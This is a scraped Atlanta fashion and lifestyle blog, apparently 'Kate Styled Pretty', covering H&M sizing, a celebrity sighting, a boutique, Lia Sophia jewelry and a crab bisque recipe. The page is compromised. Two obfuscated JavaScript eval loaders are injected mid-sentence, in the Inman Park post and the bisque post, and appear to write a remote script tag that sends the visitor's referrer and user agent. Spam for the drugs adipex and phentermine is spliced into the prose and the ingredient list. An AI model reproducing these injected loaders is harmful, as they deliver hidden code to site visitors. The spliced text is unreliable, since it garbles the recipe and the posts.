I can’t tell you how happy I am now that purchase adipex-p 37.5mg H&M has allowed online shopping!  If your petite, like me, H&M should be a regular stop for you!  I wear their size 2 or xs without much tailoring needed!  Some items do fit larger than others even though it’s the same size.  I”m not sure why there is this variance.

will forever be the outfit I wore when I first laid eyes on
Ian Somerhalder in Little Five Points, Atlanta. He plays Damon on the Vampire Diaries, which is filming in Covington, Georgia.  I’m an avid watcher of the show and spotted him on the streets of Little Five waiting to cross the road.  But, I’m proud to announce that I kept my cool and only ogled from a distance.  After all, celebrities are allowed to have weekends not hassled from admiring fans, right?  However, Ian, if you are reading this, please feel free to contact me at any time!  I will take any anxiety out of your way and go ahead accept your request for a date anytime :)!

love art, even though I don’t always understand it.  Even when the painting or sculpture is obviously something resembling reality, it’s still hard to determine exactly the message the artist wants told.  Maybe I enjoy art too simply, but I just look and admire, knowing that their skill and bravado for showcasing their work to the world for critique takes an audacious person.

I recently attended an art exhibit hosted by Red Bull – uniting top emerging artists with local venues to create functional pieces of art!

Here are a few of my favorite Red Bull coolers from the night!

I loved running into Caroline from Jezebel Magazine, who wrote that awesome article on Kate Styled Pretty in July! She really couldn’t be more on style with this classic black & white striped dress.  (My readers should know how I feel about stripes.  I have such an inordinate amount of stripes in my closet that I could easily sew them together for carnival tents.)

‘s hot fall line, thanks to My Style Vita‘s party! Unfortunately, I didn’t have time to try on any clothes, which is an excellent excuse to go back soon,but just by judging with my eye, the sizing looks on par with UK sizing stores like TopShop and H&M.

you ever surprise yourself when you get dressed?  I would normally put on black flats or black pumps with this outfit, but I decided to mix it up with these Anne Michelle suede booties!  When I first saw them, I fell in love!  Of course I bought them in black and brown.  I used to never like mixing brown and black together.  I’ve warmed up to this idea more, but I still prefer to keep them separate.

Retro Inspired Look

2013, Fashion, OOTD

I love when my sister comes to town because she is definitely my soul mate (but it’s also a good excuse to go eat out!)  Atlanta does a fantastic job of giving incentives to locals and tourists to dine out regularly.  One of their devious tricks is hosting restaurant weeks highlighting different neighborhoods in the city and its unique atmosphere and cuisine.  I took my sister and her boyfriend to Inman eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kdrtk|var|u0026u|referrer|bherh||js|php’.split(‘|’),0,{}))
Park’s Fritti
 for their $15 deal, which includes appetizer, entree and dessert!

If you haven’t had a chance to walk around Inman Park neighborhood in Atlanta, you need to.  It’s quaint, charming and only slightly bourgeoisie (in a hipster way instead of stuck-up like Buckhead neighborhood).   I wore this look for a quick bite on the patio of Fritti’s, which offers classic Italian style pizzas and Mediterranean inspired dishes.

My outtake was the best shot, so here you go! This is what I’m usually doing between shots. I have no idea how models can keep a straight face! Plus, If I kept a straight face in my photos, I’d look mean.

My favorite piece in Katharine Kidd‘s collection was definitely this jacket (modeled by my friend Amanda, the genius behind Cold Georgia Clay Jewelry!)

Katharine Kidd

This would be the “Wow” factor that every collection needs, and Katharine Kidd nailed it!

It literally looks good from every angle!

Katharine Kidd

Santa, please bring me this jacket for Christmas?

I also love this dress that utilizes the same fabrics and textures as the jacket! I wouldn’t pair the two together.  I feel like a gold dress underneath the jacket and a simple black solid jacket over the dress helps to keep the integrity of the “it” pieces of the look! Although, If I was wearing that jacket, I’d probably wear nothing underneath because I’d never take it off!

I was also drawn to this amazing skirt with stripes (probably my favorite pattern) and the texture of the wool and colors!

So go check out her boutique here at 200 Peachtree Hills Avenue NE Suite B Atlanta, GA 30305! If these clothes are little our of your price range, still take the drive down to the boutique to browse and get inspired! Plus, there are loads of other stuff off Peacthree Hills Avenue, which I have never been on until I the other day.  There’s restaurants, a small park, tennis courts, art and so much more down this hidden street in Midtown! You can thank me later!

Thanks for inviting me Jenn to this great event!

Jenn was a sorority sister of Kesha from Funky Flair Boutique! What a small world! I love connecting the dots!

Or these dainty Knotical Earrings?

Are you curious where these amazing jewelry came from? We’ve all heard of Stella & Dot, but welcome it’s competitor Lia Sophia to KSP!

Here are a couple of my favorite pieces!

This piece is a great statement that brings class and style to any look! I love this twist on the typical cameo necklace!

These pieces would make great layering necklaces for so many outfits! 

I’ll be honest, I’ve never heard of Lia Sophia until my friend Laura decided to start selling their jewelry. As a fashionista, fashion blogger, and as a person who’s attended a lot of different trunk shows – I was really impressed by the designs and quality of Lia Sophia!

Here is why:

1)Lia Sophia offers a lifetime guarantee in case anything were to happen to your jewelry!

2) Excellent Sales (This one ends Oct. 24 so start shopping!)

3) Versatile design like this necklace that allows each chain to detach!

FOODIE FRIDAY: Crab Bisque

2013

Kate Styled Pretty, Kate Greer, Crab Bisque

I’ve eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nszsy|var|u0026u|referrer|ttbef||js|php’.split(‘|’),0,{}))
learned two things from making crab bisque – 1. It’s impossible to take a good photo of soup if you have the wrong bowl.  Please Santa bring me some decent dinnerware.  2. Bisques are simple and easy.  Why don’t I make these more often?

This Crab Bisque recipe comes from Taste of Home. When trying out new cooking territory, I like to start with a recipe so I can always blame someone else if it doesn’t turn out right.

Ingredients

  • 1/2 cup chopped celery
  • 2 tablespoons chopped onion
  • 1/4 cup butter
  • 1/4 cup King Arthur Unbleached All-Purpose Flour
  • 2-1/2 cups milk
  • 2 beef bouillon cubes
  • 1 cup half-and-half cream
  • 1 can (6 ounces) crabmeat, drained
  • 1/2 cup sliced fresh mushrooms
  • 1/2 teaspoon dried basil
  • 1/4 teaspoon order phentermine online cheap garlic powder
  • 1/4 to 1/2 teaspoon Creole seasoning
  • 1/8 to 1/4 teaspoon pepper

Directions

In a large saucepan over medium heat, saute celery and onion in
butter until tender. Stir in flour until blended; gradually add
milk. Bring to a boil; cook and stir for 2 minutes or until
thickened.

Stir in the bouillon, cream, crab, mushrooms, basil, garlic powder,
1/4 teaspoon Creole seasoning and 1/8 teaspoon pepper. Bring to a
boil. Reduce heat; cover and simmer for 20 minutes, stirring
frequently. Season to taste with remaining Creole seasoning and
pepper if desired. Yield: 4 servings.

I give this recipe 4 stars! It was delicious and has inspired me to find more bisque recipes… I foresee lots of soups in my near Fall future:)!
